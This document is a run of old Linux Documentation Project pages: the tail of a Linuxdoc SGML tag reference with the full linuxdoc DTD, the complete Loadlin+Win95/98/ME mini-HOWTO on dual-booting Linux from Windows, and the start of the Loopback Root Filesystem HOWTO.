10.3 Page reference Tag

<!element pageref - o empty>
<!attlist pageref
        id cdata #required>

A example for a pageref:

<pageref id="intro">

In the HTML mapping there is no use for pageref, because there are no page numbers. In LaTeX mapping the tag is mapped to the pagenumber of the reffered label.

10.4 Url Tag

<!element url - o empty>
<!attlist url
        url cdata #required
        name cdata "<@@urlnam>" >

A example for a url:

<url url="http://www.gnu.org" name="GNU Organization">
GNU Organisation

The mapping to html brings up a hyper-ref in your document. The reference is the value of the url attribute, the text standing in the Hyperref is the name attribute's value.

In LaTeX mapping this one results to the name followed by the url.

10.5 Htmlurl Tag

<!element htmlurl - o empty>
<!attlist htmlurl
        url cdata #required
        name cdata "<@@urlnam>" >
A example for a htmlurl:
<htmlurl url="http://www.gnu.org" name="GNU Organization">
GNU Organisation

The only difference between this tag and the Url Tag is in the LaTeX mapping.

The LaTeX mapping simply drops the url attribute and emphasizes the name.

In all other cases it's absolutely the same as the url tag.

10.6 Cite Tag

<!element cite - o empty>
<!attlist cite
        id cdata #required>

AFAIK this one need´s bibTeX to work nicely. So I'm terribly sorry, but I was not jet able to make use of it. For that reason for sure I'm the wrong one to explain about it.

10.7 Ncite Tag

<!element ncite - o empty>
<!attlist ncite
        id cdata #required
        note cdata #required>

Same as Cite Tag.


Linuxdoc Reference: Indices

 Next Previous Contents

11. Indices

<!entity % index "idx|cdx|nidx|ncdx" >

<!element idx - - (#pcdata)>
<!element cdx - - (#pcdata)>
<!element nidx - - (#pcdata)>
<!element ncdx - - (#pcdata)>

Index elements
tag | my translation
idx | index
cdx | code index (terminaltype index)
nidx | invisible index
ncdx | invisible code index (terminaltype index)

The index tags serve for making a index of your document. They are only useful if you want do do LaTeX mapping. They only differ very slightly as mentioned in table Index elements.

11.1 Including a index

There are two ways to include indices into your document. Look at both and decide.

Manually

  1. Set the opts attribute of your document class to contain the packages makeidx. You do that by: <article opts="makeidx">.
  2. Mark all the words you want to be in the index later with a idx tag or cdx tag. If the word you want to index to a location in your document is not within the text you simply write it at the location you want to index with the nidx tag. It´s like the normal idx only the tagged text will be silently dropped in the normal document.
  3. Process your file with makeindex sgml2latex -m mydocument.sgml.
    This will produce an additional mydocument.idx.
  4. Process mydocument.idx with the makeindex command like makeindex mydocument.idx.
    This will produce an additional mydocument.ind.
  5. To include the now generated index in your document you process your document with sgml2latex -o tex -m mydocument.sgml.
    This results in output of mydocument.tex.
  6. Edit mydocument.tex with the editor of your choice.
    You look for the line \end{document} (should be somewhere close to the end of the file) and insert the text \printindex bevor this line.
  7. Process the modified file with latex mydocument.tex.
    This gives you the final mydocument.dvi wich aggain you might process with dvips to generate a postscript document.
A lot of a mess, ain't it?

Hacked

I'm currently working on a patch to the sgmltools to automate the inclusion and generation of a index. To find out the current state see http://www.bnhof.de/~uwe/lnd/indexpatch/index.html.


Linuxdoc Reference: Literate Programming

 Next Previous Contents

12. Literate Programming

<!entity % litprog " code | verb " >
This one is a funny thing. It's the idea of not to write some comment text within a program, and might be to take later some special tools, to extract the text
Think of perlpod.
, but to write a big document and later to extract the code from it.
People who don't like to document their code will not appreciate.
The principle is: All text within verb and code tags, will be gathered into a sourcefile.

That's it, because for now I don't remember the name of the tool doing thatone.


Linuxdoc Reference: Reference

 Next Previous Contents

13. Reference

  • The qwertz Document Type Definition
    Norman Welsh
  • SGML-Tools User's Guide 1.0 ($Revision: 1.1.1.1 $)
    Matt Welsh and Greg Hankins and Eric S. Raymond
    November 1997
  • Quick SGML Example, v1.0
    Matt Welsh, <mdw@cs.cornell.edu>
    March 1994


Linuxdoc Reference: Named Symbols

 Next Previous Contents

14. Named Symbols

14.1 Named Characters

This is a slightly modified list taken from [SGML-Tools User's Guide 1.0 ($Revision: 1.1.1.1 $)]. If you miss some, don't hesitate to mail. A lot of the named characters shown in table Named Characters are same as in the html-dtd.

Named Characters
AElig | Æ | Aacute | Á | Acirc | Â | Ae | Ä | Agrave | À | Atilde | Ã
Auml | Ä | Ccedil | Ç | Eacute | É | Egrave | È | Euml | Ë | Iacute | Í
Icirc | Î | Igrave | Ì | Iuml | Ï | Ntilde | Ñ | Oacute | Ó | Ocirc | Ô
Oe | Ö | Ograve | Ò | Oslash | Ø | Ouml | Ö | Uacute | Ú | Ue | Ü
Ugrave | Ù | Uuml | Ü | Yacute | Ý | aacute | á | acirc | â | ae | ä
aelig | æ | agrave | à | amp | & | apos | ' | aring | å | arr | ↓
ast | * | atilde | ã | auml | ä | bsol | \ | bull | • | ccedil | ç
cir | ○ | circ | ^ | clubs | ♣ | colon | : | comma | , | commat | @
copy | © | darr | ↓ | deg | ° | diams | ♦ | divide | ÷ | dollar | $
dquot | " | eacute | é | ecirc | ê | egrave | è | equals | = | etago | </
euml | ë | excl | ! | frac12 | 1/2 | frac14 | 1/4 | frac18 | 1/8 | frac34 | 3/4
frac38 | 3/8 | frac58 | 5/8 | frac78 | 7/8 | gt | > | half | 1/2 | hearts | ♥
hellip | ... | horbar | ― | hyphen | ‐ | iacute | í | icirc | î | iexcl | ¡
igrave | ì | iquest | ¿ | iuml | ï | laquo | « | larr | ← | lcub | {
ldquo | “ | lowbar | _ | lpar | ( | lsqb | [ | lsquo | ‘ | lt | <
mdash | — | micro | µ | middot | · | mu | µ | ndash | – | not | ¬
ntilde | ñ | num | # | oacute | ó | ocirc | ô | oe | ö | ograve | ò
ohm | Ω | ordf | ª | ordm | º | oslash | ø | otilde | õ | ouml | ö
para | ¶ | percnt | % | period | . | plus | + | plusmn | ± | pound | £
quest | ? | quot | " | raquo | » | rarr | -> | rcub | } | rdquo | ”
reg | ® | rpar | ) | rsqb | ] | rsquo | ’ | sect | § | semi | ;
sol | / | spades | ♠ | sup1 | ^1 | sup2 | ^2 | sup3 | ^3 | sz | ß
szlig | ß | tilde | ~ | times | × | trade | ™ | uacute | ú | uarr | ↑
ucirc | û | ue | ü | ugrave | ù | uuml | ü | verbar | | | yacute | ý

14.2 Named Whitespaces

There is a small number of whatever you want to name it. The look like named characters, but will be printed not always, or not at all.

thinsp

Thin space:

d&thinsp;D ->d D

emsp

Emphasized space: d&emsp;D -> d D

ensp

Normal space: /d&ensp;D/ -> d D

nbsp

No break space: A spaces at wich the line is not allowed to be broken. Two words separated by a nbsp will be treated by parser and mapper to be a single long one.

shy

Suggest Hyphen: If the mapper is up to break a word, with has the shy tag inside, it will probably do the wordbreak at the place of the shy tag and place a hyphen instead. If no wordbreak is necessary the shy expands to nothging at all.


Linuxdoc Reference: Mathematical Figures

 Next Previous Contents

15. Mathematical Figures

a-a b-b c-c d-d e-e f-f g-g h-h i-i j-j k-k l-l m-m n-n o-o p-p q-q r-r s-s t-t u-u v-v w-w x-x y-y z-z 		― A-A B-B C-C D-D E-E F-F G-G H-H I-I J-J K-K L-L M-M N-N O-O P-P Q-Q R-R S-S T-T U-U V-V W-W X-X Y-Y Z-Z
Mathematical Figures

The special mappings for characters you might use for building up mathematical figures are shown in table Mathematical Figures.


Linuxdoc Reference: Linuxdoc dtd Source

 Next Previous Contents

16. Linuxdoc dtd Source

This is the linuxdoc.dtd used to parse this document. The revision log, revision comments and a few redundant lines are taken out for saving paper and screenspace.

<!-- This is a DTD, but will be read as -*- sgml -*-   -->
<!-- ================================================= -->
<!-- $Id: lnd.sgml,v 1.1.1.1 2000/03/05 14:40:31 uwe Exp $

     This is LINUXDOC96 DTD for SGML-Tools.

     This was LINUXDOC.DTD,
     a hacked version of QWERTZ.DTD v1.3 by Matt Welsh,
     Greg Hankins, Eric Raymond, Marc Baudoin and
     Tristan Debeaupuis; modified from QWERTZ.DTD by
     Tom Gordon.

<!entity % emph
        " em|it|bf|sf|sl|tt|cparam " >

<!entity % index "idx|cdx|nidx|ncdx" >

<!-- url added by HG; htmlurl added by esr -->
<!entity % xref
        " label|ref|pageref|cite|url|htmlurl|ncite " >

<!entity % inline
        " (#pcdata | f| x| %emph; |sq| %xref | %index | file )* " >

<!entity % list
        " list | itemize | enum | descrip " >

<!entity % par
        "  %list; | comment | lq | quote | tscreen " >

<!entity % mathpar " dm | eq " >

<!entity % thrm
        " def | prop | lemma | coroll | proof | theorem " >

<!entity % litprog " code | verb " >

<!entity % sectpar
        " %par; | figure | tabular | table | %mathpar; |
          %thrm; | %litprog; ">
<!element linuxdoc o o
        (sect | chapt | article | report |
         book | letter | telefax | slides | notes | manpage ) >

<!-- `general' entity replaced with ISO entities - kwm -->
<!entity % isoent system "isoent">
%isoent;

<!entity urlnam sdata "urlnam" >
<!entity refnam sdata "refnam" >
<!entity tex sdata "[tex   ]" >
<!entity latex       sdata "[latex ]" >
<!entity latexe      sdata "[latexe]" >
<!entity tm     sdata "[trade ]" >
<!entity dquot  sdata "[quot  ]" >
<!entity ero    sdata "[amp   ]" >
<!entity etago '</' >
<!entity   Ae  '&Auml;' >
<!entity   ae  '&auml;' >
<!entity   Oe  '&Ouml;' >
<!entity   oe  '&ouml;' >
<!entity   Ue  '&Uuml;' >
<!entity   ue  '&uuml;' >
<!entity   sz  '&szlig;' >
<!element  p o o (( %inline | %sectpar )+) +(newline) >
<!entity ptag '<p>' >
<!entity psplit '</p><p>' >

<!shortref pmap
        "&#RS;B" null
        "&#RS;B&#RE;" psplit
        "&#RS;&#RE;" psplit
--      '"' qtag  --
        "[" lsqb
        "~" nbsp
        "_" lowbar
        "#" num
        "%" percnt
        "^" circ
        "{" lcub
        "}" rcub
        "|" verbar >

<!usemap pmap p>
<!element em - - (%inline)>
<!element bf - - (%inline)>
<!element it - - (%inline)>
<!element sf - - (%inline)>
<!element sl - - (%inline)>
<!element tt - - (%inline)>
<!element sq - - (%inline)>
<!element cparam - - (%inline)>

<!entity   ftag     '<f>'    -- formula begin -- >
<!entity   qendtag  '</sq>'>

<!shortref sqmap
      "&#RS;B" null
--      '"' qendtag  --
      "[" lsqb
      "~" nbsp
      "_" lowbar
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub
      "|" verbar >

<!usemap   sqmap    sq >

<!element lq - - (p*)>
<!element quote - - ((%inline; | %sectpar;)*, p*)+ >
<!element tscreen - - ((%inline; | %sectpar;)*, p*)+ >
<!element itemize - - (item+)>
<!element enum - - (item+)>
<!element list - - (item+)>

<!shortref desmap
        "&#RS;B" null
        "&#RS;B&#RE;" ptag
        "&#RS;&#RE;" ptag
        "~" nbsp
        "_" lowbar
        "#" num
        "%" percnt
        "^" circ
        "[" lsqb
        "]" rsqb
        "{" lcub
        "}" rcub
        "|" verbar >

<!element descrip - - (tag?, p+)+ >
<!usemap desmap descrip>

<!element item o o ((%inline; | %sectpar;)*, p*) >

<!element tag - o (%inline)>
<!usemap desmap tag>

<!usemap global (list,itemize,enum)>
<!entity space " ">
<!entity null "">

<!--
<!shortref bodymap
     "&#RS;B&#RE;" ptag
     "&#RS;&#RE;" ptag
      '"' qtag
      "[" lsqb
      "~" nbsp
      "_" lowbar
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub
      "|" verbar>
-->

<!element figure - - ((eps | ph ), img*, caption?)>
<!attlist figure
        loc cdata "tbp"
        caption cdata "Caption">

<!-- eps attributes added by mb and td  -->
<!element eps - o empty  >
<!attlist eps
        file cdata #required
        height cdata "5cm"
        angle cdata "0">

<!element ph - o empty >
<!attlist ph
        vspace cdata #required>

<!element img - o empty>
<!attlist img
        src cdata #required>

<!element caption - o (%inline)>

<!shortref oneline
     "B&#RE;" space
     "&#RS;&#RE;" null
     "&#RS;B&#RE;" null
--      '"' qtag  --
      "[" ftag
      "~" nbsp
      "_" lowbar
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub
      "|" verbar>

<!usemap oneline tag>
<!usemap oneline caption>

<!entity % tabrow "(%inline, (colsep, %inline)*)" >
<!element tabular - -
       (hline?, %tabrow, (rowsep, hline?, %tabrow)*, caption?) >

<!attlist tabular
        ca cdata #required>

<!element rowsep - o empty>
<!element colsep - o empty>
<!element hline  - o empty>

<!entity rowsep "<rowsep>">
<!entity colsep "<colsep>">

<!shortref tabmap
     "&#RE;" null
     "&#RS;&#RE;" null
     "&#RS;B&#RE;" null
     "&#RS;B" null
      "B&#RE;" null
      "BB"  space
      "@" rowsep
      "|" colsep
      "[" ftag
--      '"' qtag --
      "_" thinsp
      "~" nbsp
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub >

<!usemap  tabmap tabular>
<!element table   - - (tabular, caption?) >
<!attlist table
        loc cdata "tbp">

<!element code - - rcdata>
<!element verb - - rcdata>

<!shortref ttmap     -- also on one-line --
        "B&#RE;" space
        "&#RS;&#RE;" null
        "&#RS;B&#RE;" null
        "&#RS;B" null
        '#'     num
        '%'     percnt
        '~'     tilde
        '_'     lowbar
        '^'     circ
        '{'     lcub
        '}'     rcub
        '|'     verbar >

<!usemap ttmap  tt>
<!element  mc  - - cdata >
<!entity % sppos     "tu" >
<!entity % fcs       "%sppos;|phr" >
<!entity % fcstxt    "#pcdata|mc|%fcs;" >
<!entity % fscs      "rf|v|fi" >
<!entity % limits    "pr|in|sum" >
<!entity % fbu       "fr|lim|ar|root" >
<!entity % fph       "unl|ovl|sup|inf" >
<!entity % fbutxt    "(%fbu;) | (%limits;) |
                      (%fcstxt;)|(%fscs;)|(%fph;)" >
<!entity % fphtxt    "p|#pcdata" >
<!element  f        - - ((%fbutxt;)*) >

<!entity   fendtag  '</f>'   -- formula end -- >

<!shortref fmap
      "&#RS;B" null
      "&#RS;B&#RE;" null
      "&#RS;&#RE;" null
      "_" thinsp
      "~" nbsp
      "]" rsqb
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub
      "|" verbar>

<!usemap   fmap     f >

<!element  dm       - - ((%fbutxt;)*)>
<!element  eq       - - ((%fbutxt;)*)>

<!shortref dmmap
     "&#RE;" space
      "_" thinsp
      "~" nbsp
      "]" rsqb
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub
      "|" verbar>

<!usemap dmmap (dm,eq)>
<!element  fr       - - (nu,de) >
<!element  nu       o o ((%fbutxt;)*) >
<!element  de       o o ((%fbutxt;)*) >
<!element  ll       o o ((%fbutxt;)*) >
<!element  ul       o o ((%fbutxt;)*) >
<!element  opd      - o ((%fbutxt;)*) >
<!element  pr       - - (ll,ul,opd?) >
<!element  in       - - (ll,ul,opd?) >
<!element  sum      - - (ll,ul,opd?) >
<!element  lim      - - (op,ll,ul,opd?) >
<!element  op       o o (%fcstxt;|rf|%fph;) -(tu) >
<!element  root     - - ((%fbutxt;)*) >
<!attlist  root
        n cdata "">
<!element col o o ((%fbutxt;)*) >
<!element row o o (col, (arc, col)*) >

<!element  ar       - - (row, (arr, row)*) >
<!attlist  ar
    ca     cdata    #required >
<!element  arr      - o empty >
<!element  arc      - o empty >
<!entity   arr "<arr>" >
<!entity   arc "<arc>" >

<!shortref arrmap
     "&#RE;" space
      "@" arr
      "|" arc
      "_" thinsp
      "~" nbsp
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub >

<!usemap   arrmap   ar >
<!element  sup      - - ((%fbutxt;)*) -(tu) >
<!element  inf      - - ((%fbutxt;)*) -(tu) >
<!element  unl - - ((%fbutxt;)*) >
<!element  ovl - - ((%fbutxt;)*) >
<!element  rf  - o (#pcdata) >
<!element  phr - o ((%fphtxt;)*) >
<!element  v   - o ((%fcstxt;)*)
        -(tu|%limits;|%fbu;|%fph;) >
<!element  fi  - o (#pcdata) >
<!element  tu  - o empty >

<!usemap global (rf,phr)>
<!element def - - (thtag?, p+) >
<!element prop - - (thtag?, p+) >
<!element lemma - - (thtag?, p+) >
<!element coroll - - (thtag?, p+) >
<!element proof - - (p+) >
<!element theorem - - (thtag?, p+) >
<!element thtag - - (%inline)>

<!usemap global (def,prop,lemma,coroll,proof,theorem)>
<!usemap oneline thtag>
<!entity   qtag     '<sq>' >

<!shortref global
      "&#RS;B" null  -- delete leading blanks --
  --    '"' qtag --
      "[" ftag
      "~" nbsp
      "_" lowbar
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub
      "|" verbar>

<!usemap global linuxdoc>
<!element label - o empty>
<!attlist label id cdata #required>

<!-- ref modified to have an optional name field HG -->
<!element ref - o empty>
<!attlist ref
        id cdata #required
        name cdata "&refnam">

<!-- url entity added to have direct url references HG -->
<!element url - o empty>
<!attlist url
        url cdata #required
        name cdata "&urlnam" >

<!-- htmlurl entity added to have quieter url references esr -->
<!element htmlurl - o empty>
<!attlist htmlurl
        url cdata #required
        name cdata "&urlnam" >

<!element pageref - o empty>
<!attlist pageref
        id cdata #required>
<!element comment - - (%inline)>
<!element x - - ((#pcdata | mc)*) >
<!usemap   #empty   x >

<!-- Hacked by mdw to exclude abstract; abstract now part of titlepag -->
<!element article - -
        (titlepag, header?,
         toc?, lof?, lot?, p*, sect*,
         (appendix, sect+)?, biblio?) +(footnote)>

<!attlist article
        opts cdata "null">

<!-- Hacked by mdw to exclude abstract; abstract now part of titlepag -->
<!element report - -
        (titlepag, header?, toc?, lof?, lot?, p*,
         chapt*, (appendix, chapt+)?, biblio?) +(footnote)>

<!attlist report
        opts cdata "null">
<!element book  - -
        (titlepag, header?, toc?, lof?, lot?, p*, chapt*,
         (appendix, chapt+)?, biblio?) +(footnote) >

<!attlist book
        opts cdata "null">

<!-- Hacked by mdw, abstract now part of titlepag -->
<!element titlepag o o (title, author, date?, abstract?)>
<!element title - o (%inline, subtitle?) +(newline)>
<!element subtitle - o (%inline)>
<!usemap oneline titlepag>
<!element author - o (name, thanks?, inst?,
                        (and, name, thanks?, inst?)*)>
<!element name o o (%inline) +(newline)>
<!element and - o empty>
<!element thanks - o (%inline)>
<!element inst - o (%inline) +(newline)>
<!element date - o (#pcdata) >

<!usemap global thanks>

<!element newline - o empty >
<!entity nl "<newline>">

<!-- Hacked by mdw -->
<!element abstract - o (%inline)>
<!usemap oneline abstract>

<!element toc - o empty>
<!element lof - o empty>
<!element lot - o empty>
<!element header - - (lhead, rhead) >
<!element lhead - o (%inline)>
<!element rhead - o (%inline)>
<!entity % sect "heading, header?, p* " >
<!element heading o o (%inline)>
<!element chapt - o (%sect, sect*) +(footnote)>
<!element sect  - o (%sect, sect1*) +(footnote)>
<!element sect1 - o (%sect, sect2*)>
<!element sect2 - o (%sect, sect3*)>
<!element sect3 - o (%sect, sect4*)>
<!element sect4 - o (%sect)>
<!usemap oneline (chapt,sect,sect1,sect2,sect3,sect4)>
<!element appendix - o empty >
<!element footnote - - (%inline)>
<!usemap global footnote>
<!element cite - o empty>
<!attlist cite
        id cdata #required>

<!element ncite - o empty>
<!attlist ncite
        id cdata #required
        note cdata #required>

<!element file - - (#pcdata)>

<!element idx - - (#pcdata)>
<!element cdx - - (#pcdata)>
<!element nidx - - (#pcdata)>
<!element ncdx - - (#pcdata)>

<!element biblio - o empty>
<!attlist biblio
        style cdata "linuxdoc"
        files cdata "">
<!element slides - - (slide*) >

<!attlist slides
        opts cdata "null">
<!element slide - o (title?, p+) >
<!entity  % addr "(address?, email?, phone?, fax?)" >

<!element letter - -
        (from, %addr, to, %addr, cc?, subject?, sref?, rref?,
         rdate?, opening, p+, closing, encl?, ps?)>

<!attlist letter
        opts cdata "null">

<!element from               - o (#pcdata) >
<!element to         - o (#pcdata) >

<!usemap oneline (from,to)>

<!element address    - o (#pcdata) +(newline) >
<!element email              - o (#pcdata) >
<!element phone              - o (#pcdata) >
<!element fax                - o (#pcdata) >

<!element subject    - o (%inline;) >
<!element sref               - o (#pcdata) >
<!element rref          - o (#pcdata) >
<!element rdate         - o (#pcdata) >

<!element opening    - o (%inline;) >
<!usemap oneline opening>

<!element closing - o (%inline;) >
<!element cc - o (%inline;) +(newline) >
<!element encl - o (%inline;) +(newline) >

<!element ps - o (p+) >

<!element telefax - -
        (from, %addr, to, address, email?,
         phone?, fax, cc?, subject?,
         opening, p+, closing, ps?)>

<!attlist telefax
        opts cdata "null"
        length cdata "2">

<!element notes - - (title?, p+) >
<!attlist notes
        opts cdata "null" >
<!element manpage - - (sect1*)
        -(sect2 | f | %mathpar | figure | tabular |
          table | %xref | %thrm )>

<!attlist manpage
        opts cdata "null"
        title cdata ""
        sectnum cdata "1" >
<!shortref manpage
      "&#RS;B" null
--      '"' qtag  --
      "[" ftag
      "~" nbsp
      "_" lowbar
      "#" num
      "%" percnt
      "^" circ
      "{" lcub
      "}" rcub
      "|" verbar>

<!usemap manpage  manpage >


The Loadlin+Win95/98/ME mini-HOWTO

Authored by: Chris Fischer, protek@firstlinux.net

v1.5.2, 21 Feb 2001

This document describes how to use Loadlin with Windows 95/98/ME to boot to Linux.

1. Introduction

  • 1.1 Copyright
  • 1.2 New Versions Of This Document
  • 1.3 Feedback
  • 1.4 Disclaimer

2. About Loadlin

  • 2.1 What is Loadlin?

3. IMPORTANT: Preliminary Information and Setup

  • 3.1 Windows ME Users
  • 3.2 Things that are assumed:
  • 3.3 Items you need before you start:

4. Getting started:

  • 4.1 Step One:
  • 4.2 Step Two:
  • 4.3 Step Three:

5. Frequently Asked Questions:

  • 5.1 Where can I find more information on using Loadlin?
  • 5.2 I am not sure what partition Linux is installed on. How do I find out?
  • 5.3 Where do I find the kernel image file and how do I copy it to my MS-DOS partition?
  • 5.4 Does it matter if I install Linux or Windows 95/98/ME first?
  • 5.5 I currently have LILO installed, but I want to use Loadlin instead. How
  • 5.6 What if I already dual boot between Windows 95 and Windows 3.x, and I
  • 5.7 Is it possible to initiate Linux from the Windows 95/98/ME desktop?
  • 5.8 Where can I get a plain text version of this document?
  • 5.9 Is Loadlin the only alternative to LILO?

6. Internationalization


The Loadlin+Win95/98/ME mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This document describes a simple three step procedure for using Loadlin to dual boot between Linux and Windows 95/98/ME. If you prefer to use the LILO boot manager, please consult the Linux+Win95 Mini-HOWTO.

This version of this mini-HOWTO has been completely rewritten with major differences from the previous version (1.4.6). The following highlight the major differences:

  • Name change. The Loadlin+Win95/98/ME mini-HOWTO was formerly known as "The Loadlin+Win95 mini-HOWTO. The change was made to more accurately reflect the topic covered herein.
  • The focus has changed from Win95 to Win98, and as a result this mini-HOWTO is simpler and easier to follow. Microsoft made some changes in the way Windows boots in Win98, which has made most of the dual boot methods for Win95 incompatable with Win98. If you still wish to see the Win95 specific mini-HOWTO you can view it here.
  • Change in copyright status from version 1.4.6

1.1 Copyright

Copyright (c) 1997-2001 Protek Computer Solutions. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with with the Invariant Sections being only "The Loadlin+Win95/98/ME mini-HOWTO".

1.2 New Versions Of This Document

This mini-HOWTO is posted first at The Linux+Windows 95 Reference Page, so check there to make sure you have the most recent revision of this mini-HOWTO.

1.3 Feedback

Questions, comments, and suggestions are welcome. I am always looking for ways to improve and expand this mini-HOWTO. I rely heavily on feedback to make improvements, and will do my best to be prompt with a helpful response. I can be reached at protek@firstlinux.net.

1.4 Disclaimer

Every attempt has been made to ensure that the information presented in this mini-HOWTO is safe and accurate. However, this information is given without any warranty, either expressed or implied, as to its suitability for a particular use. It is generally considered a GoodThing(TM) to make backups of your system files before changing system configurations and/or files. I suggest you take this precaution "just in case".


The Loadlin+Win95/98/ME mini-HOWTO: About Loadlin

 Next Previous Contents

2. About Loadlin

2.1 What is Loadlin?

Loadlin is a simple DOS based utility that loads the Linux kernel into memory from DOS. Loadlin was written by Hans Lermen. See the Loadlin-1.6 User's Guide for further details about Loadlin's features and how to use Loadlin.


The Loadlin+Win95/98/ME mini-HOWTO: IMPORTANT: Preliminary Information and Setup

 Next Previous Contents

3. IMPORTANT: Preliminary Information and Setup

3.1 Windows ME Users

Before your read any further, I should mention that this mini-howto has some limitations with Windows ME. Based on feedback from Windows ME users, the menuing system described in the next section will only work from a Windows boot floppy instead of from the hard drive. Thanks to Olivier Guichard for pointing me to the relevant Microsoft article.

Note that only the config.sys and autoexec.bat files need to be on the floppy disk. All other files mentioned may reside on the hard drive.

If booting from a floppy is not an option for you, then please see the FAQ section for alternatives to LILO and Loadlin.

Any Windows ME users who can find a better way than using a floppy, please let me know your solution so I can include it in this mini-howto.

3.2 Things that are assumed:

  • You have successfully installed Windows 95/98/ME.
  • Windows 95/98/ME is installed on Drive C.
  • You have successfully installed Linux.
  • You know what partition Linux is installed on.
  • LILO is NOT installed on your hard drive.

3.3 Items you need before you start:

  • The Loadlin.exe program file
  • Your kernel image file, usually bzImage or vmlinuz. (See the FAQ for info).


The Loadlin+Win95/98/ME mini-HOWTO: Getting started:

 Next Previous Contents

4. Getting started:

4.1 Step One:

Edit (or create) config.sys on the root of Drive C. The contents should be similar to the following:

[menu]
menuitem=Linux, Mandrake Linux 7.2
menuitem=Win98, Windows 98
menucolor=15,1
menudefault=Win98, 10

[linux]

[win98]

If your system already has a config.sys file, put those contents under the [win98] section. The [linux] section is left blank intentionally.

4.2 Step Two:

Edit (or create) autoexec.bat on the root of Drive C. The contents should be similar to the following:

goto %config%

:linux
call c:\linux.bat

:win98

As above, if you aready have an autoexec.bat file, put those contents under the :win98 section.

4.3 Step Three:

Create a file called: linux.bat. Putting it in the root of Drive C is as good as place as any (but it can go anywhere so long as you reference the path or location). The contents should be similar to the following:

@echo off
c:\loadlin c:\vmlinuz root=/dev/hda3 ro

The above example assumes that loadlin.exe and vmlinuz are located in the root of Drive C (or C:\) and that linux is installed on the /dev/hda3 partition. Your configuration may be different.

The important thing here is to make sure that loadlin and your linux kernel file are properly referenced. Finished!

That should work for you, as that is how I have things set up on my system, which dual boots with Win98.


The Loadlin+Win95/98/ME mini-HOWTO: Frequently Asked Questions:

 Next Previous Contents

5. Frequently Asked Questions:

5.1 Where can I find more information on using Loadlin?

  • Loadlin can be found on your favorite distibution's installation CD. Just do a search for 'loadlin'.

  • The Loadlin-1.6 User's Guide is available for download at:

http://elserv.ffm.fgan.de/~lermen/manual.txt

or

ftp://ftp.eskimo.com/u/p/praxis/manual.txt

  • You might also try visiting the Loadlin Home Page

  • Additional information is available at:

http://metalab.unc.edu/LDP/HOWTO/BootPrompt-HOWTO-2.html#ss2.2

5.2 I am not sure what partition Linux is installed on. How do I find out?

  • At a Linux shell prompt, run the df utility. If you see a line with /boot, then it will be quite obvious. If you do not see a line with /boot, then look on the line with a single "/".

5.3 Where do I find the kernel image file and how do I copy it to my MS-DOS partition?

  • The kernel image file is usually called vmlinuz and should be located in the '/boot' directory. Often vmlinuz is a symbolic link to the actual kernel. If all else fails type:
            find / -name vmlinuz*
    at a Linux shell prompt. This will search all Linux partitions for the vmlinuz file. If you have multiple vmlinuz files, then make sure you use the correct one. If you are not sure, then the safest bet would be to use the most recent one.

    To copy your linux kernel file to your DOS partition, you need to make your DOS partition visible to Linux, then mount the partition if it is not already. Generally, this should have been set up when you installed Linux. All you need to do next is change to the directory the vmlinuz file is in and copy it over to DOS using the cp command.

    However, if Linux was not set up to recognize your DOS partition, then copy vmlinuz to a floppy. Take any DOS formatted floppy (with enough disk space to hold your kernel image file) and insert it into your floppy drive. Type:

        mount /dev/fd0 /mnt/floppy

    at a Linux shell prompt. Then change to the directory your kernel image file is in and type:

        cp vmlinuz /mnt/floppy

    This will copy vmlinuz to your floppy disk and it will be readable by DOS. Shutdown Linux, boot to DOS, then copy vmlinuz to whichever directory you choose. If you recompile your kernel, do not forget to copy the new kernel image file to your DOS partition. This will overwrite your old file, so it might be a good idea to rename the old file first just in case the new one does not work properly.

    Alternatively, if you have the mtools utilities you could type:

        mcopy vmlinuz a:

5.4 Does it matter if I install Linux or Windows 95/98/ME first?

  • Technically no. However, it would be much simpler to install Windows first. That way it is easier to setup Linux to recognize your DOS partition(s) as you can usually do this during the Linux installation.

5.5 I currently have LILO installed, but I want to use Loadlin instead. How do I remove LILO?

  • You will need to restore the Win95 MBR (Master Boot Record) that LILO overwrote when you installed LILO. At a DOS prompt type:

        fdisk /mbr

5.6 What if I already dual boot between Windows 95 and Windows 3.x, and I want to boot to Linux using this method?

  • Frankly, if you want to do this I would recommend using LILO. However, if you really do not want to use LILO, you will have to boot to Win 3.x first, then issue the Loadlin command. (Make sure Windows 3.x is NOT running, but that you are in DOS 5.0 or 6.x).

5.7 Is it possible to initiate Linux from the Windows 95/98/ME desktop?

  • Yes. First, create a batch file called "linux.bat", for example. Edit the file to contain a Loadlin command such as:

        loadlin f:\vmlinuz root=/dev/hdc2 ro

Now save the file on your Windows desktop. Next, right click on the Linux.bat icon, then left click on Properties. Now click on the Program tab, then click on the Advanced button. Click on the box next to "MS-DOS mode" and make sure the box next to "Warn before entering MS-DOS mode is checked". Click OK, then click on OK again. Now when you double click on the Linux icon, a warning box will appear before going into MS-DOS mode. If you click on "Yes" then Windows enters MS-DOS mode and executes the Linux.bat file.

NOTE: You must be in MS-DOS mode in order to use Loadlin. Please see the manual.txt file mentioned in Section 4.1 of this FAQ for more information.

5.8 Where can I get a plain text version of this document?

  • You can get a plain text version of this document at:
    ftp://ftp.eskimo.com/u/p/praxis/loadlin.txt

5.9 Is Loadlin the only alternative to LILO?

  • No. There are other utilities you could use for dual booting:
    GRUB: The GNU GRand Unified Bootloader
    XOSL: Extended Operating System Loader
    Other Bootloaders and Related Links


The Loadlin+Win95/98/ME mini-HOWTO: Internationalization

 Next Previous Contents

6. Internationalization

Currently there is an Italian translation of version 1.5.0 of this mini-HOWTO, translated by Michele Martiradonna.

Any effort to translate this mini-HOWTO into other languages will be greatly appreciated. If you are interested in taking on such a task, please e-mail me at: protek@firstlinux.net.


The Loopback Root Filesystem HOWTO

by Andrew M. Bishop, amb@gedanken.demon.co.uk

v1.1, 24 September 1999

This HOWTO explains how to use the Linux loopback device to create a Linux native filesystem format installation that can be run from a DOS partition without re-partitioning. Other uses of this same technique are also discussed.

1. Introduction

  • 1.1 Copyright
